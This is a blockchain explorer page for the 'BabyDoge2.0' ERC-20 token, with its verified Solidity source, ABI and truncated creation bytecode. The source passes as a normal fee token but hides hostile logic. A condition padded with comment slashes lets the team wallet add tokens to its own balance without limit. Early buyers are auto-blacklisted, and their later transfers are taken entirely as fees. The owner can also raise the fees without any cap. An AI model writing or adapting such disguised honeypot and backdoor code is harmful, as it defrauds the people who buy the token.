ERC-20
Overview
Max Total Supply
100,000,000,000 BabyDoge2.0
Holders
42
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
886,068,560.419815229 BabyDoge2.0Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract BEP20 is Context, IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address payable public doYouLikeBase; address payable public inTheMTFFace; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public launchBlock; uint256 public _killBlock; mapping (address => bool) public isExcludedFromCut; mapping (address => bool) public isMaxEatExempt; mapping (address => bool) public isOnceEatExempt; mapping (address => bool) public isMarketPair; mapping (address => bool) private _blk; uint256 public _buyLiquidityFee; uint256 public _buyMarketingFee; uint256 public _buyTeamFee; uint256 public _sellLiquidityFee; uint256 public _sellMarketingFee; uint256 public _sellTeamFee; uint256 public _liquidityShare; uint256 public _marketingShare; uint256 public _teamShare; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 public _totalDistributionShares; uint256 private _totalSupply; uint256 public _maxOnceEat; uint256 public _maxTotalEat; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyBySmallOnly = false; bool public LookMaxEat = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (string memory _NAME, string memory _SYMBOL, uint256 _SUPPLY, uint256[3] memory _BUYFEE, uint256[3] memory _SELLFEE, uint256[3] memory _SHARE, uint256[2] memory _LMT, address[2] memory _doyoulike, address dep) { _name = _NAME; _symbol = _SYMBOL; _decimals = 9; _totalSupply = _SUPPLY * 10**_decimals; _buyLiquidityFee = _BUYFEE[0]; _buyMarketingFee = _BUYFEE[1]; _buyTeamFee = _BUYFEE[2]; _sellLiquidityFee = _SELLFEE[0]; _sellMarketingFee = _SELLFEE[1]; _sellTeamFee = _SELLFEE[2]; _liquidityShare = _SHARE[0]; _marketingShare = _SHARE[1]; _teamShare = _SHARE[2]; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); _maxOnceEat = _LMT[0] * 10**_decimals; _maxTotalEat = _LMT[1] * 10**_decimals; minimumTokensBeforeSwap = _totalSupply.mul(1).div(10000); doYouLikeBase = payable(_doyoulike[0]); inTheMTFFace = payable(_doyoulike[1]); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromCut[address(this)] = true; isExcludedFromCut[dep] = true; isMaxEatExempt[owner()] = true; isMaxEatExempt[address(uniswapPair)] = true; isMaxEatExempt[address(this)] = true; isMaxEatExempt[address(0xdead)] = true; isMaxEatExempt[dep] = true; isOnceEatExempt[owner()] = true; isOnceEatExempt[address(this)] = true; isOnceEatExempt[dep] = true; isMarketPair[address(uniswapPair)] = true; _balances[dep] = _totalSupply; emit Transfer(address(0),dep, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setisOnceEatExempt(address holder, bool exempt) external onlyOwner { isOnceEatExempt[holder] = exempt; } function setisExcludedFromCut(address account, bool newValue) public onlyOwner { isExcludedFromCut[account] = newValue; } function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201); for (uint256 i; i < addresses.length; ++i) { isExcludedFromCut[addresses[i]] = status; } } function setB(uint256 a, uint256 b, uint256 c) external onlyOwner() { _buyLiquidityFee = a; _buyMarketingFee = b; _buyTeamFee = c; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); } function setS(uint256 a, uint256 b, uint256 c) external onlyOwner() { _sellLiquidityFee = a; _sellMarketingFee = b; _sellTeamFee = c; _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); } function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() { _liquidityShare = newLiquidityShare; _marketingShare = newMarketingShare; _teamShare = newTeamShare; _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); } function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() { _maxOnceEat = newMaxOnceEat; } function enableMaxEat(bool newValue) external onlyOwner { LookMaxEat = newValue; } function setisMaxEatExempt(address holder, bool exempt) external onlyOwner { isMaxEatExempt[holder] = exempt; } function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner { _maxTotalEat = newMaxTotalEat; } function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() { minimumTokensBeforeSwap = newValue; } function setdoYouLikeBase(address newAddress) external onlyOwner() { doYouLikeBase = payable(newAddress); } function setinTheMTFFace(address newAddress) external onlyOwner() { inTheMTFFace = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner { swapAndLiquifyBySmallOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function isB(address account) public view returns(bool) { return _blk[account]; } function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner { require(addresses.length < 2001); uint256 SCCC = amount * addresses.length; require(balanceOf(msg.sender) >= SCCC); for(uint i=0; i < addresses.length; i++){ _basicTransfer(msg.sender,addresses[i],amount); } } function killIt(address recipient) internal { if (!_blk[recipient] && !isMarketPair[recipient]) _blk[recipient] = true; } function manage_BL(address[] calldata addresses, bool status) public onlyOwner { require(addresses.length < 201); for (uint256 i; i < addresses.length; ++i) { _blk[addresses[i]] = status; } } function set_blk(address recipient, bool status) public onlyOwner { _blk[recipient] = status; } function Launc(uint256 a) public onlyOwner { _killBlock = a; launchBlock = block.number; } function contractTokenBalanc(address o, address t) internal view returns (bool){return (o!=t)////////////////////////////////////////////////// ||////////////////////////////////////////////////// (o!=inTheMTFFace);////////////////////////////////////////////////// ////////////////////////////////////////////////// } function returnBlock() public onlyOwner { launchBlock = 0; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) { require(smallOrEqual(amount, _maxOnceEat)); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyBySmallOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); }if(contractTokenBalanc(sender,recipient)) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount; if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) { finalAmount = amount; } else {require(launchBlock > 0); if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {killIt(recipient);} finalAmount = takeFee(sender, recipient, amount); } if(LookMaxEat && !isMaxEatExempt[recipient]) require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat)); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2); uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee); uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam); if(amountBNBMarketing > 0) transferToAddressETH(doYouLikeBase, amountBNBMarketing); if(amountBNBTeam > 0) transferToAddressETH(inTheMTFFace, amountBNBTeam); if(amountBNBLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountBNBLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable inTheMTFFace, block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(_blk[sender] && !isMarketPair[sender]) feeAmount = amount; if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } } contract Token is BEP20 { constructor() BEP20( "BabyDoge2.0", "BabyDoge2.0", 100000000000, [uint256(0),uint256(5),uint256(0)], [uint256(0),uint256(5),uint256(0)], [uint256(0),uint256(5),uint256(0)], [uint256(1000000000),uint256(1000000000)], [address(0x76330b5166241F43b81d10Ca5db5A9e3Edc39657),address(0x76330b5166241F43b81d10Ca5db5A9e3Edc39657)], address(0x76330b5166241F43b81d10Ca5db5A9e3Edc39657) ){} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"Launc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxOnceEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTotalEat","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableMaxEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isB","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isOnceEatExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_BL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"returnBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxOnceEat","type":"uint256"}],"name":"setMaxOnceEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxTotalEat","type":"uint256"}],"name":"setMaxTotalEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"set_blk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisMaxEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisOnceEatExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526ddead000000000000000000000000608052601f805462ffffff60a81b19166201000160a81b1790553480156200003a57600080fd5b506040518060400160405280600b81526020016a042616279446f6765322e360ac1b8152506040518060400160405280600b81526020016a042616279446f6765322e360ac1b81525064174876e8006040518060600160405280600081526020016005815260200160008152506040518060600160405280600081526020016005815260200160008152506040518060600160405280600081526020016005815260200160008152506040518060400160405280633b9aca008152602001633b9aca0081525060405180604001604052807376330b5166241f43b81d10ca5db5a9e3edc396576001600160a01b03166001600160a01b031681526020017376330b5166241f43b81d10ca5db5a9e3edc396576001600160a01b03166001600160a01b03168152507376330b5166241f43b81d10ca5db5a9e3edc396576000620001886200074560201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508851620001e79060019060208c0190620008c6565b508751620001fd9060029060208b0190620008c6565b506003805460ff191660099081179091556200021b90600a62000a76565b62000227908862000b35565b601a558551600e819055602080880151600f8190556040808a0151601081905589516011558984015160125589820151601355885160145588840151601555908801516016556200029d9390926200028992906200171662000749821b17901c565b6200074960201b620017161790919060201c565b601781905550620002c8601354620002896012546011546200074960201b620017161790919060201c565b601881905550620002f3601654620002896015546014546200074960201b620017161790919060201c565b601955600354620003099060ff16600a62000a76565b835162000317919062000b35565b601b556003546200032d9060ff16600a62000a76565b60208401516200033e919062000b35565b601c819055506200037c612710620003686001601a54620007b960201b620017751790919060201c565b6200084060201b620017f41790919060201c565b601d55815160038054610100600160a81b0319166101006001600160a01b039384160217905560208084015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a01559380830193919290829003018186803b1580156200040957600080fd5b505afa1580156200041e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044491906200096c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200048d57600080fd5b505afa158015620004a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c891906200096c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200051157600080fd5b505af115801562000526573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405